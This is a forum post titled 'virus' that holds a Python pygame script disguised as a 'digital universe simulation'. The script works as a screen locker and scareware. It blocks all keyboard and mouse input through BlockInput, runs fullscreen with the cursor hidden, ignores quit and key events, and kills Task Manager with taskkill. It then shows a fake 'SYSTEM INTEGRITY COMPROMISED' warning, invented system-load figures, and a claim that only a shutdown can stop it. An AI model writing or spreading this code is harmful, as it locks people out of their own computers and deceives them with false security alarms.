AcWing
  • 首页
  • 课程
  • 题库
  • 更多
    • 竞赛
    • 题解
    • 分享
    • 问答
    • 应用
    • 校园
  • 关闭
    历史记录
    清除记录
    猜你想搜
    AcWing热点
  • App
  • 登录/注册

病毒

作者: 作者的头像   钱泓谷 ,  2025-07-06 12:07:22 · 江苏 ,  所有人可见 ,  阅读 2


0


digital_universe.py
import pygame
import random
import math
import sys
import ctypes
import os
import time
from pygame import gfxdraw

# 禁用Alt+F4、Alt+Tab等系统快捷键
try:
    ctypes.windll.user32.BlockInput(True)
except:
    pass

# 初始化pygame
pygame.init()

# 获取屏幕尺寸
info = pygame.display.Info()
screen_width, screen_height = info.current_w, info.current_h
screen = pygame.display.set_mode((screen_width, screen_height), pygame.FULLSCREEN | pygame.NOFRAME)
pygame.display.set_caption("数字宇宙模拟")

# 隐藏鼠标
pygame.mouse.set_visible(False)

# 颜色定义
BLUE_PALETTE = [
    (0, 10, 30), (0, 30, 60), (0, 60, 120),
    (0, 100, 180), (0, 150, 255), (50, 180, 255),
    (100, 200, 255), (150, 220, 255), (200, 240, 255)
]

# 星星类
class Star:
    def __init__(self):
        self.reset()
        self.size = random.uniform(0.1, 2.0)
        self.speed = random.uniform(0.1, 0.5)
        self.color = random.choice(BLUE_PALETTE[3:])
        self.trail = []
        self.max_trail = 10

    def reset(self):
        self.x = random.randint(0, screen_width)
        self.y = random.randint(0, screen_height)
        angle = random.uniform(0, 2 * math.pi)
        self.dx = math.cos(angle) * random.uniform(0.1, 0.5)
        self.dy = math.sin(angle) * random.uniform(0.1, 0.5)
        self.life = random.randint(100, 300)

    def move(self):
        self.x += self.dx
        self.y += self.dy
        self.life -= 1

        # 记录轨迹
        self.trail.append((self.x, self.y))
        if len(self.trail) > self.max_trail:
            self.trail.pop(0)

        # 边界检查和重置
        if (self.x < -50 or self.x > screen_width + 50 or 
            self.y < -50 or self.y > screen_height + 50 or
            self.life <= 0):
            self.reset()

    def draw(self, surface):
        # 绘制轨迹
        for i, (tx, ty) in enumerate(self.trail):
            alpha = int(255 * (i / len(self.trail)))
            size = max(0.1, self.size * (i / len(self.trail)))
            color = (*self.color, alpha)
            pygame.draw.circle(surface, color, (int(tx), int(ty)), int(size))

        # 绘制星星
        pygame.draw.circle(surface, self.color, (int(self.x), int(self.y)), int(self.size))

# 数字矩阵类
class MatrixCode:
    def __init__(self, x):
        self.x = x
        self.y = random.randint(-100, -10)
        self.speed = random.uniform(2, 8)
        self.length = random.randint(5, 30)
        self.chars = []
        self.char_delay = random.randint(50, 200)
        self.last_char_time = pygame.time.get_ticks()
        self.char_set = "01010101010101abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$%#@&*"

    def move(self):
        self.y += self.speed
        if self.y > screen_height + 100:
            self.reset()

    def reset(self):
        self.y = random.randint(-100, -10)
        self.speed = random.uniform(2, 8)
        self.length = random.randint(5, 30)
        self.chars = []

    def update(self):
        current_time = pygame.time.get_ticks()
        if current_time - self.last_char_time > self.char_delay:
            self.chars.append({
                'char': random.choice(self.char_set),
                'y': self.y,
                'brightness': 255
            })
            self.last_char_time = current_time

        # 更新现有字符
        for char in self.chars[:]:
            char['brightness'] -= 8
            if char['brightness'] <= 0:
                self.chars.remove(char)

    def draw(self, surface, font):
        for i, char_info in enumerate(self.chars):
            # 头部字符为亮色,其他为渐变色
            if i == len(self.chars) - 1:
                color = (0, 255, 200)
            else:
                fade = char_info['brightness']
                color = (0, fade, min(255, fade + 100))

            char_surface = font.render(char_info['char'], True, color)
            surface.blit(char_surface, (self.x, char_info['y']))

# 创建星星
stars = [Star() for _ in range(500)]

# 创建矩阵雨
matrix_rain = []
matrix_font = pygame.font.SysFont('Courier', 18, bold=True)
for i in range(screen_width // 20):
    matrix_rain.append(MatrixCode(i * 20))

# 创建系统信息字体
sys_font = pygame.font.SysFont('Arial', 24)
title_font = pygame.font.SysFont('Arial', 48, bold=True)
warning_font = pygame.font.SysFont('Arial', 28, bold=True)

# 主循环
clock = pygame.time.Clock()
start_time = time.time()
running = True

# 尝试禁用任务管理器
try:
    os.system("taskkill /f /im taskmgr.exe >nul 2>&1")
except:
    pass

while running:
    current_time = time.time() - start_time

    for event in pygame.event.get():
        # 忽略所有退出尝试
        if event.type == pygame.QUIT:
            pass
        elif event.type == pygame.KEYDOWN:
            # 忽略所有按键
            pass

    # 创建半透明背景效果
    overlay = pygame.Surface((screen_width, screen_height), pygame.SRCALPHA)
    overlay.fill((0, 5, 15, 20))
    screen.blit(overlay, (0, 0))

    # 移动和绘制星星
    for star in stars:
        star.move()
        star.draw(screen)

    # 移动和绘制矩阵雨
    for drop in matrix_rain:
        drop.move()
        drop.update()
        drop.draw(screen, matrix_font)

    # 绘制中央标题
    title = title_font.render("DIGITAL UNIVERSE SIMULATION", True, (0, 200, 255))
    screen.blit(title, (screen_width//2 - title.get_width()//2, 50))

    # 绘制系统信息
    mem_usage = 70 + int(25 * math.sin(current_time * 0.5))
    cpu_usage = 80 + int(15 * math.sin(current_time * 0.7))
    temp = 45 + int(15 * math.sin(current_time * 0.3))

    info_text = sys_font.render(
        f"System Load: CPU {cpu_usage}% | MEM {mem_usage}% | TEMP {temp}°C", 
        True, (0, 200, 200)
    )
    screen.blit(info_text, (screen_width//2 - info_text.get_width()//2, 120))

    # 绘制进度环
    center_x, center_y = screen_width//2, screen_height//2 + 50
    radius = 150
    progress = (current_time * 20) % 360

    # 绘制外环
    pygame.draw.circle(screen, (0, 50, 100), (center_x, center_y), radius, 5)

    # 绘制进度弧
    for i in range(int(progress)):
        angle = math.radians(i)
        x = center_x + radius * math.cos(angle)
        y = center_y + radius * math.sin(angle)
        alpha = int(255 * (i / 360))
        pygame.draw.circle(screen, (0, 150, 255, alpha), (int(x), int(y)), 3)

    # 绘制警告信息
    warning = warning_font.render("WARNING: SYSTEM INTEGRITY COMPROMISED", True, (255, 50, 50))
    screen.blit(warning, (screen_width//2 - warning.get_width()//2, center_y + radius + 50))

    # 绘制退出提示
    exit_text = sys_font.render("Simulation cannot be terminated. System shutdown required.", True, (180, 180, 180))
    screen.blit(exit_text, (screen_width//2 - exit_text.get_width()//2, screen_height - 80))

    # 绘制粒子效果
    for _ in range(5):
        x = random.randint(0, screen_width)
        y = random.randint(0, screen_height)
        size = random.randint(1, 3)
        pygame.draw.circle(screen, (0, 150, 255), (x, y), size)

    # 添加扫描线效果
    scan_y = int((pygame.time.get_ticks() / 20) % screen_height)
    pygame.draw.line(screen, (0, 100, 200, 100), (0, scan_y), (screen_width, scan_y), 2)

    pygame.display.flip()
    clock.tick(60)

# 程序理论上不会执行到这里
try:
    ctypes.windll.user32.BlockInput(False)
except:
    pass
pygame.quit()
sys.exit()

0 评论

App 内打开
你确定删除吗?
1024
x

© 2018-2025 AcWing 版权所有  |  京ICP备2021015969号-2
用户协议  |  隐私政策  |  常见问题  |  联系我们
AcWing
请输入登录信息
更多登录方式: 微信图标 qq图标 qq图标
请输入绑定的邮箱地址
请输入注册信息